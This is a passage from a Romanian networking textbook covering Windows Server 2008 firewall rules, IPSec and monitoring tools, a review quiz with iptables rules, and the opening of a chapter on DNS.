n stnga, un panou ce afieaz diferitele elemente de configurare, cum sunt regulile sau
opiunile de monitorizare;
n partea dreapt panoul de aciuni, comun celor mai multe interfee de administrare din
Server Manager;
n partea central panoul de detalii, al crui coninut se modific dinamic, n funcie de
seleciile din primul panou.

232 | R e e l e L o c a l e


6-2: Interfaa de administrare Windows Firewall with Advanced Security
n mod implicit, panoul central, de detalii, afieaz (atunci cnd n stnga este selectat
rdcina firewall-ului: Windows Firewall with Advanced Security on Local Computer) o list cu
trei profiluri: Domain, Public i Private. Aceste profiluri se afl n legtur cu tipurile de
conexiuni afiate i de interfaa Network and Sharing Center (prezentat n seciunea 3.4.1) i
conin setri diferite n funcie de riscurile pe care diferite tipuri de conexiuni le prezint. Ele
au relevan n contextul lui Windows Firewall dup cum urmeaz:
Domain: Calculatoarele ce ruleaz Windows Vista sau Windows Server 2008 pot detecta dac
se poate realiza apartenena la un domeniu ntr-o anumit reea la care sunt conectate. Acest
profil necesit ca toate calculatoarele s fie membre ale unui domeniu pentru a putea accesa
controller-ul de domeniu.
Public: Profilul Public este folosit de ctre firewall pentru a proteja sistemul cnd acesta este
conectat la o reea public, spre exemplu una wireless. Practic, pentru Windows Server 2008, o
reea public reprezint orice reea care nu se afl n interiorul perimetrului reelei delimitate
de firewall-ul acesteia.
Private: Profilul comunic firewall-ului modul n care s protejeze sistemul n momentul n care
acesta este membru al unei conexiuni private, adic aparine unei reele protejate de un
firewall hardware.

Pentru c fiecare dintre cele trei profiluri poate stoca setri distincte cu privire la regulile
firewall-ului, acestea ofer un grad sporit de flexibilitate n optimizarea nivelului de securitate
oferit de firewall pentru diferite tipuri de conexiuni. Spre exemplu, conexiunile spre reele
233 | S e c u r i t a t e i m o n i t o r i z a r e

publice vor folosi profilul Public care va impune un set de reguli mai restrictive, n timp ce
conectarea la reelele locale izolate, securizate i/sau aflate sub propria administrare poate
necesita un set mai permisiv de reguli, cum ar fi partajarea fiierelor i a imprimantelor n
reea, reguli configurate n cadrul profilului Private.
Modificarea tipului unei conexiuni se poate face manual (mai puin pentru tipul Domain,
care are cerine suplimentare). Windows aplic, ns, i n mod automat aceste profiluri n
funcie de tipul de trafic inspectat pe interfaa conectat. Astfel c, n cazul apartenenei la un
domeniu, se aplic nti profilul Domain, ajungndu-se ulterior la opiunea de a aplica unul
dintre celelalte dou profiluri. Pentru situaia de mai sus, peste profilul Domain se aplic
automat profilul Private deoarece se consider c zona delimitat de staiile dintr-o reea,
membre ale unui domeniu, reprezint deja o zon de un anumit grad de securitate i
siguran. Dac interfaa nu este autentificat la un controller de domeniu (deci conexiunea sa
nu este membr a unui domeniu) atunci se aplic automat profilul Public.


6-3: Interfaa proprietilor unui profil
Pentru a accesa setrile profilurilor implicite, se poate face clic pe link-ul Windows Firewall
Properties din panoul de detalii, la baza regiunii Overview, n care sunt listate aceste profiluri
(figura 6-3).
Se observ c toate cele trei profiluri se configureaz similar, specificndu-se starea
firewall-ului i modul de tratare a conexiunilor n funcie de sensul n care au fost iniiate. La
apsarea butonului Customize sunt disponibile opiuni suplimentare ce adreseaz notificarea
utilizatorului n momentul n care firewall-ul blocheaz o aplicaie i comportamentul permis
de firewall n cazul n care sistemul ncearc s rspund prin unicast n urma unui trafic de
broadcast sau multicast din reea.
234 | R e e l e L o c a l e

6.4.1.2 Modificarea regulilor implicite
Lund n considerare setrile anterioare, disponibile la nivel de profil, este evident faptul
c diferenierea cea mai drastic i totodat cea mai granular dintre profiluri se reduce la
implementarea regulilor. Practic, la nivel de trafic, regulile sunt cele care dicteaz
comportamentul lui Windows Firewall. Acestea se mpart n trei categorii: inbound rules
(pentru traficul care intr printr-o conexiune), outbound rules (pentru traficul adresat spre
exterior) i connection security rules.
Regulile de tip inbound se refer, de fapt, la deblocarea traficului venit din exterior.
Dup cum s-a menionat i n seciunea anterioar, pentru toate cele trei tipuri de profiluri
(Domain, Private i Public), comportamentul implicit al firewall-ului pentru conexiunile iniiate
din exterior este de a le bloca. n contrast, comportamentul implicit pentru conexiunile iniiate
de maina pe care ruleaz firewall-ul este permiterea tuturor acestora prin firewall, astfel c
regulile de tip outbound adreseaz care dintre aceste conexiuni vor fi, de fapt, blocate.
Att pentru regulile de tip inbound ct i pentru cele outbound, categoriile de reguli pe
care Windows Firewall permite s fie create sunt n numr de trei, cu posibilitatea de a crea i
reguli Custom:
Program: Decizia se ia n funcie de programul care iniiaz o conexiune (regul outbound) sau
care dorete deschiderea unui port (regul inbound). Informaia care identific aplicaia
cuprinde doar calea spre executabilul su.
Port: Astfel de reguli au n vedere conexiunile pe baza numerelor de port (unul sau un interval)
pe care acestea le utilizeaz. Tot aici se poate specifica i pentru ce protocol de nivel transport
(TCP sau UDP) se aplic regula.
Predefined: Aceste reguli generalizeaz anumite programe sau servicii ale sistemului
simplificnd detaliile funcionrii lor. Spre exemplu, o astfel de regul poate fi instituit pentru
a controla accesul la partajarea fiierelor sau imprimantelor sau pentru a permite funcionarea
protocolului Remote Desktop (pentru administrarea de la distan).

Afiarea regulilor definite implicit n Windows Firewall se face printr-un simplu clic pe
categoria dorit n panoul din stnga: Inbound Rules sau Outbound Rules. Deoarece lista poate
deveni destul de cuprinztoare, mai ales dup definirea regulilor proprii i pe servere cu o
multitudine de aplicaii i servicii instalate, acesteia i se pot aplica filtre din panoul de aciuni
1
.
Aplicarea filtrelor poate adresa profilul de care acestea aparin, starea lor (active sau nu) i
grupul din care fac parte (adic aplicaia sau serviciul de care aparin). Filtrele pot fi aplicate
secvenial. Pentru tergerea tuturor filtrelor active se face clic pe link-ul Clear all filters.
Pentru a vizualiza proprietile unei reguli (indiferent dac este de tip inbound sau
outbound), se poate face dublu clic pe regul din panoul central (indiferent de prezena
filtrelor).
Atenie, nu se pot modifica toate proprietile regulilor predefinite; n cele mai multe
dintre cazuri, executabilul asociat regulii nu poate fi schimbat, la fel ca i porturile i setul de
protocoale incluse n regul. Aceste restricii sunt impuse deoarece regulile implicite adreseaz
funcionarea serviciilor Windows care folosesc porturi i protocoale standard pentru a
comunica.


1
Este de la sine neles c filtrele afecteaz doar afiarea anumitor reguli; ele nu afecteaz n niciun fel
funcionarea lor. Pentru aceasta se folosete proprietatea Enabled disponibil pentru fiecare regul.
235 | S e c u r i t a t e i m o n i t o r i z a r e


6-4: Proprietile unei reguli inbound
Fereastra de dialog a proprietilor unei reguli conine urmtoarele seciuni:
General: Cuprinde numele i o descriere textual a regulii, ofer posibilitatea de a activa sau
dezactiva regula i tipul aciunii descrise de regul: permiterea conexiunii, blocarea ei sau
permiterea n condiii securizate
1
(IPSec). Dac regula cere ca o conexiune permis s fie
criptat, pentru cele necriptate se vor aplica alte reguli dac exist sau se vor conforma
comportamentului implicit descris n profilul conexiunii. Opiunea Override block rules specific
faptul c aceast regul va suprascrie orice alte reguli care ar putea bloca conexiunea n cauz.
Opiunea este necesar pentru a permite o conexiune pentru c, n mod normal, regulile de
blocare au prioritate sporit fa de cele permisive.
Programs and Services: Specific executabilul sau serviciul de sistem pentru care se va aplica
regula. Orice program i serviciu poate fi adugat atta timp ct ruleaz prin propriul su
executabil. Atenie la adugarea container-elor de servicii sau a programelor care gzduiesc
executabile, ca svchost.exe, dllhost,exe, inetinfo.exe pentru c pot reprezenta riscuri de
securitate. Regulile care se aplic pentru un anumit program sau serviciu pot fi folosite i
pentru a permite unor aplicaii s accepte conexiuni din Internet, atta timp ct acestea
folosesc Windows Sockets (winsock) pentru a deschide propriile porturi.
Users and computers: Permite specificarea cror calculatoare sau utilizatori (sau grupuri de
utilizatori) au dreptul de a se conecta la calculatorul local n contextul serviciului sau
programului cruia regula i este asociat. Opiunile legate de utilizatori i calculatoare pot fi
utilizate doar dac s-a specificat ca aciune a regulii permiterea conexiunilor dac acestea sunt
securizate. De asemenea, configuraia este valabil doar pentru reguli de tip inbound, iar
utilizatorii sau calculatoarele ce se pot autentifica trebuie s fie accesibile prin Active Directory
Domain Services.

1
Pentru aceasta trebuie s existe i o regul corespunztoare de tipul Connection Security Rule.
236 | R e e l e L o c a l e

Protocols and ports: Regula poat fi particularizat n continuare specificnd porturile i
protocoalele (TCP, UDP, GRE, IPv6, L2TP, etc.) necesare pentru o conexiune prin aceast regul.
Pentru ICMP sunt disponibile opiuni suplimentare, n funcie de codurile mesajelor. De
asemenea, filtrarea pe baz de port se poate face att pentru porturile surs ct i pentru cele
destinaie (proprii, n cazul de fa).
Scope: Sunt permise specificarea unor adrese IP, intervale de adrese IP sau chiar subreele
ntregi de la care sunt acceptate conexiunile. Aceiai parametri pot fi configurai i pentru
maina local, caz n care regula se va aplica tuturor conexiunilor dintre adresele locale i
adresele de la distan care ndeplinesc ambele criterii configurate.
Advanced: Se poate specifica profilul pentru care regula este activ (toate sau numai unul
dintre cele trei) i conexiunea de reea pentru care regula se aplic.
6.4.1.3 Adugarea de noi reguli
Windows Firewall permite crearea de noi reguli pentru a suplimenta cele implicite,
particularizate pentru necesitile fiecrui sistem sau reea. Pentru a crea o nou regul, se
selecteaz categoria de Inbound sau Outbound i se face clic pe New Rule n panoul de aciuni.
1. n prima etap se selecteaz tipul regulii: Program, Port, Predefined sau Custom, dup cum au
fost prezentate n seciunea anterioar. Pentru a avea acces la toate opiunile, pentru
exemplul de fa se va considera c se creeaz o regul de tip Custom.
2. Urmtoarea pagin ofer trei opiuni:
o All programs: Regula va fi aplicat tuturor programelor ale cror conexiuni se potrivesc cu setrile
regulii.
o This program path: Regula se va aplica doar conexiunilor iniiate din sau spre un anumit program
selectabil prin executabilul su.
o Services: Permite selectarea unui anumit serviciu din lista de servicii instalate n sistem, deoarece
majoritatea ruleaz gzduite n interiorul altor executabile, ca services.exe
1
sau
lsass.exe
2
.
3. n continuare (figura 6-5) se poate alege protocolul i, eventual, porturile pentru care regula va
fi aplicat. Dac la pasul anterior s-a selectat o aplicaie, nu e necesar selectarea protocolului
deoarece Windows l va identifica din interfaa winsock.
4. n continuare se pot specifica adresele IP, att locale ct i de la distan pe a cror conexiuni
se va aplica regula. Pot fi definite adrese, intervaluri de adrese sau subreele. De asemenea, se
pot alege aici i tipurile conexiunilor de tip reea pe care va fi aplicat regula.
5. Aciunea ce poate fi aplicat n momentul n care regula firewall-ului intr n funciune, poate
s permit realizarea conexiunii n orice situaie (deci crearea unei reguli de tip Allow), doar n
cazul n care conexiune este securizat (mai multe detalii n seciunea 6.4.1.2) sau poate bloca
realizarea conexiunii (crearea unei reguli de tip Deny).
6. n urmtoarea seciune se pot bifa profilurile pentru care regula s se aplice: Private, Public sau
Domain.
7. n fine, n ultima etap se d un nume regulii i, eventual o descriere care rezum parametrii i
aciunile sale (preferabil i scopul pentru care a fost creat regula).
8. Butonul Finish creeaz regula, ce poate fi editat ulterior ca i orice alt regul implicit
(conform seciunii 6.4.1.2).


1
Utilitar responsabil cu pornirea i oprirea serviciilor, pornirea automat a lor la iniializarea sistemului si
oprirea lor la nchiderea sa.
2
Utilitar cu multiple responsabiliti de securitate, incluznd autentificarea utilizatorilor. int pentru
numeroi virui.
237 | S e c u r i t a t e i m o n i t o r i z a r e


6-5: Specificarea porturilor i protocolului pentru regul
6.4.1.4 Reguli de securizare a conexiunilor
Regulile de tip inbound i outbound controleaz strict fluxurile de date dintr-un calculator.
Windows Firewall permite i crearea de reguli de securizare a conexiunilor (connection security
rules) care controleaz autentificarea dintre dou calculatoare (dou servere dintr-o reea,
spre exemplu) pentru a asigura faptul c orice conexiune stabilit ntre aceste calculatoare
este una securizat, folosind diferite metode, precum certificatele.
n Windows Firewall nu sunt reguli de securizare a conexiunilor configurate n mod
implicit. Ele pot fi create explicit de ctre administrator i pot fi mprite n urmtoarele
categorii:
Isolation: Regula restricioneaz conectarea la un anumit calculator (deci l izoleaz) pe baza
unor criterii de autentificare, precum apartenen la un domeniu sau a unor diferite politici de
securitate implementate.
Authentication exemption: Regula poate permite accesul fr informaii de autentificare al
altor calculatoare la calculatorul propriu. Acordarea dreptului de conectare se face pe baz de
adres IP.
Server to server: Regula este folosit pentru a realiza o conexiune securizat ntre dou
servere. Este nevoie de specificarea serverelor care vor fi implicate n conexiune i de
configurarea autentificrii ce se dorete a se realiza ntre ele.
Tunnel: Regul pentru controlul parametrilor unei conexiuni securizate ntre dou puncte,
peste o reea public, nesecurizat. Se specific cele dou puncte ale conexiunii (endpoints) i
metoda de autentificare.
Custom: Regul complet configurabil.

Pentru a crea o astfel de regul se selecteaz Connection Security Rules din panoul stng i
se face clic pe link-ul New Rule din panoul de aciuni, dup care se urmeaz etapele
urmtoare:
238 | R e e l e L o c a l e

1. Pentru nceput, se alege tipul regulii ce se dorete a fi creat. Pentru a avea acces la toate
opiunile, pentru exemplul de fa se va alege tipul Custom.
2. Urmtoare opiune cere configurarea capetelor conexiunii (endpoints). Endpoint-ul 1 poate fi
calculatorul local sau o subreea de adrese IP ce pot fi atribuite calculatorului local, iar
endpoint-ul 2 va fi ceallalt capt al conexiunii, specificat printr-o adres IP sau un interval.


6-6: Definirea capetelor unei conexiuni securizate
3. n pagina urmtoare se selecteaz tipul de autentificare ce va fi folosit:
o Request authentication for inbound and outbound connections: Autentificarea nu este obligatorie,
dar este de preferat. Conexiunile inbound i outbound nesecurizate vor reui dar dac se dorete
utilizarea unei autentificri se poate realiza acest lucru.
o Require authentication for inbound connections and request authentication for oubound
connections: Conexiunile iniiate n exterior trebuie s fie autentificate, dar pentru cele iniiate local
este opional.
o Require authentication for inbound and outbound connections: Att conexiunile iniiate din
exterior ct i cele iniiate local trebuie autentificate, altfel regula va bloca realizarea lor.
o Do not authenticate: Nu este necesar autentificarea.

4. n urmtoarea pagin se selecteaz metoda de autentificare folosit de regul. Opiunea
Default folosete autentificarea implicit a profilului. Se mai pot selecta metode de
autentificare bazate pe utilizator i calculator (ceea ce necesit apartenen la un domeniu),
doar n funcie de calculator, sau pe baza unui certificat. Prin opiunea Advanced se pot
specifica dou sesiuni de autentificri, secveniale, fiecare prin metodele sale.
5. Pe pagina Profile se aleg profilurile pentru care regula va fi activ.
6. n ultima pagin se introduce un nume i o descriere a profilului.

Dup creare, regula apare n lista de Connection Security Rules i i se pot modifica
proprietile ca i n cazul regulilor Inbound sau Outbound.

239 | S e c u r i t a t e i m o n i t o r i z a r e


6-7: Definirea metodelor de autentificare
6.4.1.5 Configurri IPSec
IPSec (IP Security Protocol) reprezint o serie de servicii i protocoale de securitate
orientate spre asigurarea confidenialitii datelor transferate n interiorul unei reele sau prin
conexiuni de tip VPN. Avantajul major al IPSec este c datele pot fi securizate indiferent dac
dispozitivele de pe parcurs suport sau nu aceste protocoale. Criptarea n IPSec se face separat
pentru fiecare pachet iar ca metode de autentificare pot fi folosite certificatele digitale.

6-8: Setri IPSec
240 | R e e l e L o c a l e

n Windows Server 2008, setrile ce adreseaz IPSec sunt incluse n Windows Firewall i
sunt accesibile la pagina IPSec Settings din cadrul ferestrei de proprieti a firewall-ului.
Modificarea setrilor implicite sunt accesibile prin apsarea butonului Customize. Acestea vor
afecta toate regulile de tip Connection Security Rule definite n firewall.
Configurrile pentru IPSec se ncadreaz n trei categorii: schimbul de chei (key exchange),
protejarea datelor (data protection) i modalitatea de autentificare (authentication method).
Pentru a schimba modul n care se realizeaz schimbul de chei, se alege optiunea
Advanced din grupul Key Exchange i se face clic pe butonul Customize.

6-9: Opiuni pentru schimbul de chei

6-10: Opiuni pentru protecia datelor
Modul implicit folosete algoritmul Diffie-Hellman Group 2 (bazat pe o cheie public i una
privat). Exist posibilitatea optrii pentru un algoritm mai puternic, ca Elliptic Curve Diffie-
241 | S e c u r i t a t e i m o n i t o r i z a r e

Hellman P-384. Trebuie avut n vedere i faptul c selectarea acestui algoritm impune
clientului restricia ca acesta s ruleze cel puin Windows Vista iar serverul Windows Server
2008. Tot aici poate fi modificat i durata de via a cheilor. Teoretic, securitatea unei chei
este invers proporional cu durata sa de via.
Tot din fereastra principal a setrilor IPSec poate fi modificat i metoda folosit pentru
asigurarea securitii datelor (criptare). Pentru aceasta se selecteaz opiunea Advanced din
categoria Data protection (Quick Mode) i se apas butonul Customize.
Implicit se folosesc doi algoritmi pentru a asigura integritatea i securitatea datelor: ESP i
AH. Protocolul Encapsulating Security Payload (ESP) ofer autentificarea sursei datelor,
integritate i protecie mpotriva atacurilor de tip replay pentru coninutul pachetelor IP.
Protocolul Authentication Header (AH) ofer securitate pentru antetul IP.
Ultima categorie de opiuni se refer la metoda de autentificare folosit pentru a realiza
conexiuni securizate:
Computer and User (Using Kerberos V5) autentific att calculatorul ct i utilizatorul.
Kerberos V5 folosete un sistem de chei sau tichete atribuite calculatoarelor din domeniu.
Mesajele trimise de aceste calculatoare sunt autentificate prin tichet care este ataat n date.
Computer (Using Kerberos V5) autentific doar calculatorul.
User (Using Kerberos V5) autentific doar utilizatorul.
Computer certificate from this certification authority necesit specificarea unui CA (Certificate
Authority) iar autentificarea se face baza certificatelor digitale
6.4.2 Monitorizare
Un aspect important al administrrii oricrei reele l reprezint monitorizarea serverelor
i a traficului din reea. n Windows Server 2008, monitorizarea performanei serverului este
realizat de ctre utilitarul Reliability and Performance Monitor. Pe de alt parte, un alt
utilitar, Event Viewer, permite monitorizarea jurnalelor meninute pentru a ajuta la
identificarea problemelor ce pot aprea n funcionarea pe termen lung a serverului.
6.4.2.1 Reliability and Performance Monitor
Reliability and Performance Monitor este un utilitar ce permite monitorizarea n timp real
a strii serverului att hardware ct i pe partea de aplicaii. De asemenea, el poate crea
rapoarte de perfoman i alerte pentru valori critice.
n mod intuitiv, performana (performance) descrie ct de repede serverul execut
anumite sarcini n timp ce sigurana (reliability) este o msur a frecvenei cu care serverul
execut o sarcin exact aa cum ar trebui, conform configuraiei sale. Reliability and
Performance Monitor ofer o multitudine de informaii cu privire la modul n care at
hardware-ul ct i software-ul funcioneaz (inclusiv sistemul de operare n sine). n general,
monitorizarea performanei are ca scop identificarea elementelor care ncetinesc viteza
sistemului i a motivelor pentru care acestea funcioneaz posibil necorespunztor. Pe de alt
parte, situaiile neprevzute sau necontrolate, cum ar fi dispozitive care nu se iniializeaz sau
se iniializeaz incorect, precum i servicii oprite sau restartate la momente
necorespunztoare intr n categoria excepiilor de reliability.
Toate utilitarele de diagnostic oferite de Windows Server 2008 pot fi accesate prin Server
Manager, din categoria Diagnostics.

242 | R e e l e L o c a l e


6-11: Reliability and Performance Monitor
n partea superioar a Reliability and Performance Monitor sunt afiate informaii sumare
cu privire la ncrcarea procesorului, discului, a memoriei i a reelei. n partea inferioar,
fiecare resurs este detaliat dup cum urmeaz:
CPU: Sunt afiate ocuparea procesorului (sau procesoarelor) precum i frecvena maxim. De
asemenea, utilizarea sa este detaliat pentru fiecare aplicaie n parte, dupa PID, nume, numr
de fire de execuie din aplicaia respectiv, procentajul din procesor folosit i ncrcarea medie
de-a lungul timpului.
Disk: Este afiat fluxul total de date la citire/scriere din secunda curent. Statisticile detaliate
pentru fiecare proces cu privire la utilizarea discului, cuprind: numele procesului, PID-ul su,
fiierul curent aflat n scriere sau citire, vitezele curente de citire i scriere prioritatea
procesului respectiv pentru acces la disc i valoarea medie a timpului de rspuns al discului.
Network: Este afiat traficul total prin interfeele de reea la momentul curent. Pentru fiecare
proces, identificat prin nume i PID sunt detaliate: adresa destinaiei cu care aplicaia schimb
date la momentul respectiv, datele trimise i primite i lrgimea de band total utilizat.
Memory: Se afieaz global numrul de page faults
1
pe secund i procentajul de memorie
utilizat la momentul respectiv. Pentru fiecare proces n parte, se ine evidena: numrului de
hard faults-uri pe minut, a working set-ului, adic a cantitii totale de memorie folosita de
acea instan a aplicaiei, memoria partajabil, care poate fi accesat i de ctre alte aplicaii i
memoria privat.

Din cadrul Reliability and Performance Monitor, utilitarul Reliability Monitor ofer o
perspectiv global asupra evenimentelor din sistem ce au afectat de-a lungul timpului
funcionarea sa ntr-un mod negativ.

1
Un page fault reprezint o situaie n care se acceseaz date din memoria virtual a unui proces dar
care nu se gsesc n memoria fizic i trebuie aduse din fiierul de paginare.
243 | S e c u r i t a t e i m o n i t o r i z a r e

6.4.2.2 Performance Monitor
Performance Monitor reprezint un utilitar grafic pentru msurarea performanei
sistemului i a altor calculatoare din reea. Performance Monitor scaneaz performana
echipamentelor fizice, ca procesorul, discul i memoria, fiecare element ce poate fi analizat
fiind considerat un obiect.
Un anumit parametru ce este msurat pentru un anumit obiect este denumit un counter.
Spre exemplu, pentru procesor, pot fi msurate counter-e ca procentajul utilizat sau numrul
de ntreruperi pe secund. Performance Monitor poate afia informaiile sub form de grafice,
n diferite configuraii.
Adugarea unor noi counter-e se poate face fie din meniul contextual al graficului, fie prin
butonul Add de deasupra graficului. La adugarea unui nou counter, se poate selecta maina
proprie sau o alta din reea, resursa care va fi urmrit i parametrul specific (counter-ul)
conform cruia se va realiza graficul.
6.4.2.3 Event Viewer
Fiecare instan a unei aciuni ce este executat ntr-un sistem este considerat un
eveniment. Event Viewer, spre deosebire de alte utilitare de monitorizare, nu ofer
informaiile n timp real, ci permite accesarea i interpretarea jurnalelor n care sunt trecute
de-a lungul timpului detalii despre momentul i modul n care aceste evenimente au avut loc.
Event Viewer poate fi accesat tot din Server Manager, de la categoria Diagnostics. Event
Viewer ncadreaz jurnalele n dou categorii: Windows Logs i Application and Services Logs.
Jurnalele de tip Windows Logs includ urmtoarele:
Application log: jurnal ce nregistreaz evenimentele diverselor aplicaii ce ruleaz n sistem.
De regul aceste evenimente sunt controlate din codul aplicaiei. Tot aici sunt ncadrate i
alertele definite n System Monitor.
Security log: jurnal ce monitorizeaz evenimentele legate de drepturile de accesare a fiierelor,
de autentificarea utilizatorilor, de apartenena la un domeniu, etc.
Setup log: jurnal constituit din evenimentele de la instalarea i configurarea aplicaiilor. De
asemenea, evenimentele legate de adugarea sau eliminarea unor roluri ale serverului,
precum i eventualele erori sau avertismente din timpul acestora sunt nscrise aici.
System log: jurnal ce ine evidena anumitor evenimente predefinite n Windows, cum sunt
cele legate de instalarea sau funcionarea incorect a driverelor i tot ceea ce ine de servicii i
performana sistemului.

Cealalt categorie de jurnale, Application and Services Logs, pstreaz informaii
particulare pentru aplicaii i componente ale serverului. Aceste jurnale includ evenimente de
tipul Hardware Events (instalri, erori), Internet Explorer Events i Key Management Services
(evenimente legate de folosirea cheilor pentru criptarea informaiile trimise sau primite din
reea).
Pentru ntreinere, jurnalele pot fi golite periodic sau salvate n fiiere pe disc n diferite
formate.

244 | R e e l e L o c a l e

ntrebri
1. Care dintre rotocoalele de mai jos permite un transfer sigur de fiiere?
SSH-1
TFTP
SCP
Telnet

2. Care din echipamentele de mai jos pot fi folosite pentru a contracara atacuri?
firewall-urile
IDS-urile
concentratoarele VPN
att IDS-urile ct i firewall-urile

3. Care din protocoalele de mai jos nu are nevoie de inspectare a traficului pentru a
funciona printr-un firewall?
FTP
IRC
WWW
SQL

4. De ce nu are sens urmtoarea regul?
iptables A INPUT --mac-source 01:01:01:01:01:01 j REJECT
selectarea dup adrese MAC nu se poate face pe lanul INPUT
regula are sens
adresa MAC este incorect
nu se poate folosi REJECT cu adrese MAC

5. Ce efect are urmtoarea regul?
iptables A INPUT p icmp icmp-type echo-request s 192.168.1.0/24 m limit 3/s j ACCEPT
regula este incorect sintactic
se primesc pachete ICMP de tip echo-request de la 192.168.1.0/24, dar la o rat de 3 pe
secund
se primesc pachete ICMP de tip echo-request de la 192.168.1.0/24 dar se scriu n log
doar 3 pe secund
nu se primesc pachete ICMP de tip echo-request de la 192.168.1.0/24 i se scriu n log
doar 3 pe secund

6. Care din urmtoarele utilitare pot fi folosite ca i IDS-uri
Snort
Wireshark
Iptables
nat

245 | D N S

7 DNS
You know its love when you memorize her IP address to skip DNS overhead
Ce se nva din acest capitol?
Ce sunt domeniile de nume
Ce sunt serverele DNS
Configurarea serviciului DNS pentru clienti
Configurarea BIND
Configurarea rolului de server DNS pe Windows
Cine este...
Paul Mockapetris este inventatorul DNS. Mockapetris a lucrat ca manager de program
la diverse companii de reelistic i Internet. Din 2003, activeaz la Institutul de tiine
Informatice (ISI) de la Universitatea din California de Sud.
Paul Vixie este autorul unui numr important de RFC-uri i utilitare standard UNIX. A
fost creatorul serverului DNS bind i arhitectul acestuia pn la versiunea 8. Opereaz
serverul rdcin L din DNS.
7.1 Protocolul DNS
Pentru a facilita accesarea resurselor in Internet este necesar existena unei asocieri ntre
adresa IP a acestora i un nume uor de reinut. Asta deoarece este imposibil ca cineva s
poat reine toate adresele IP folosite pe glob. La nceputul Internetului staiile erau accesate
pe baza intrrilor din fiierul /etc/hosts care fceau translatarea adreselor din formatul
preferat de utilizatorul uman (ex: www.wikipedia.org) n adrese IP necesare echipamentelor
de reea.
O dat cu creterea exploziv a dimensiunii Internetului, a devenit evident c era nevoie
de o soluie care s rezolve problemele de scalabilitate. Soluia pentru aceste probleme a fost
dezvoltarea unui nou protocol, Domain Name Server (DNS). Protocolul a fost dezvoltat n anii
80, propus ca RFC i adoptat apoi ca standard Internet. Dei protocolul are peste 20 de ani
vechime, exist i mbuntiri i faciliti noi aduse serviciului de nume (extensii de securitate,
stocarea certificatelor digitale n DNS, etc.).
DNS este n esen o baz de date distribuit care asociaz diferite informatii cu
domeniile DNS. Noutatea pe care o aducea DNS la vremea propunerii sale ca standard nu era
att conceptul de baz de date distribuit - n sensul n care informaiile din baza de date sunt
pstrate pe staii diferite - ci mai degrab faptul c i administrarea bazei de date urma s se
fac distribuit.
7.1.1 Domenii DNS
Un domeniu DNS este o grupare a mai multe staii i servere ce au un sistem de
administrare comun i sunt identificate de un nume unic.
ntre domenii exist o legtur ierarhic. n general, un domeniu are n componen alte
subdomenii i face parte dintr-un alt domeniu la rndul lui (care ar putea fi numit
supradomeniu, dei termenul nu este folosit n literatura de specialitate). Aceast relaie
ierarhic de incluziune poate fi cel mai simplu explicat print-un exemplu concret: subdomenii
pentru domeniul pub.ro sunt cs.pub.ro, electronica.pub.ro sau acs.pub.ro, iar
supradomeniul pentru pub.ro este ro. Dei ntre domenii exist aceast relaie de incluziune,
246 | R e e l e L o c a l e

trebuie reinut faptul c subdomeniile nu trebuie s aib fiecare acelai administrator ca i
domeniul din care fac parte. Dup cum s-a mai spus, noutatea DNS const n posibilitatea
administrrii bazei de date n mod distribuit i din aceast cauz, n general, domeniile au
delegate pentru un subdomeniu un nou administrator.
Datorit structurii sale ierarhice, baza de date DNS poate fi vizualizat ca un arbore
multici, n care nodurile sunt domenii. De exemplu, pentru domeniile enumerate n
paragraful precedent, arborele asociat este prezentat n figur.

7-1: Ierarhia DNS
Dup cum se observ n figur, fiecare nod, mai puin nodul rdcin, are asociat un nume
precum co, acs, pub, ro. Aceast modalitate de numire, n care nu se specific numele complet
al domeniului este numit referire relativ (relative domain name). Dac se deine doar
numele relativ al unui domeniu, numele complet al domeniului (fully qualified domain name -
FQDN) poate fi aflat prin concatenarea numelor supradomeniilor aflate n drumul de la
domeniu la rdcin i folosirea punctului ca separator ntre numele domeniilor.
7.1.1.1 Domenii speciale
Principalul rol al serviciului de nume este de a asocia nume staiilor din Internet, care altfel
ar fi fost identificate de adrese IP. Aceasta nseamn c serviciul DNS va trebui s ofere
utilizatorilor cel puin dou operaii: rezolvare direct (resolve lookup) - aflarea adresei IP
atunci cnd tim numele staiei i rezolvare invers (reverse lookup) - aflarea numelui unei
staii atunci cnd tim adresa IP.
Ierarhia DNS ncepe cu cteva domenii speciale, denumite TLD (top level domains).

com - domenii folosite de organizaiile comerciale
edu - domenii folosite de organizaiile educaionale
gov - domenii folosite organizaiile guvernamentale
mil - domenii folosite organizaiile militare
org - domenii folosite organizaiile non-profit
net - domenii ale organizaiilor ce administreaz reele mari
ro, fr, eu, us - domenii de ar

Aceste domenii sunt administrate de ctre ICANN (Internet Corporation For Assigned
Names and Numbers). Ele sunt subdomenii ale unui domeniu generic, fr nume, care este
rdcina ierarhiei. Toate domeniile din Internet sunt pn la urm subdomenii ale acestor
domenii din vrful ierarhiei. nregistrarea unui subdomeniu .eu cost aproximativ 14 euro pe
cs
ro
pub
acs
net
roedu
com
netacad


247 | D N S

an, iar un subdomeniu .ro cost ceva mai mult de 50 USD + TVA (19%), dar este nregistrat pe
via. De la 1 ianuarie 2007, persoanele fizice i juridice din Romania pot trimite cereri pentru
nregistrarea de domenii .eu. Potrivit EURid (European Registry for Internet Domains), pn la
data de 20 septembrie 2007, Romnia a contribuit" cu 11,851 de nume de domenii .eu
active. Comparativ, locuitorii Germaniei dein 822,712 de domenii .eu, iar cei ai Republicii
Cehe dein 53,830 de domenii.
Dup cum s-a precizat mai sus, protocolul DNS ofer i posibilitatea de reverse-lookup.
Aceast facilitate este folosit de utilitare de troubleshooting precum traceroute sau
ping.Pentru a pstra o consisten n funcionare, i traducerea invers se face tot cu ajutorul
unui domeniu, care poart numele de in-addr.arpa. El nu este un top-level domain i a fost
creat pentru a permite rezolvare invers, din adrese IP n nume.
Acesta conine subdomenii care corespund cu octeii dintr-o adres IP, n ordine invers.
De exemplu, pentru adresa 141.85.37.1, cererea pentru traducerea invers se va face pentru
1.37.85.141.in-addr.arpa. n baza de date DNS acestei intrri i corespunde numele staiei.
7.1.1.2 Cereri DNS
S-a stabilit deci nevoia pentru protocolul DNS i structura ierarhiei acestuia. Ce se ntmpl
ns n momentul efecturii unei cereri DNS? Cel mai adesea o cerere va fi efectuat de ctre
un browser web la introducerea unei adrese URL, ca www.google.com. Clientul web va trebui
s afieze coninutul paginii care se afl pe serverul HTTP referit de acest nume. Pentru a
putea face acest lucru, trebuie trimis un mesaj HTTP de tip GET. Ca orice pachet ce urmeaz s
fie trimis n Internet, i un mesaj HTTP va trebui s conin n antentul de nivel 3, o adres IP
destinaie. Aici intervine clientul de DNS (integrat n browser) care face o cerere DNS pentru a
putea afla adresa IP a serverul HTTP care servete paginile pentru domeniul www.google.com.
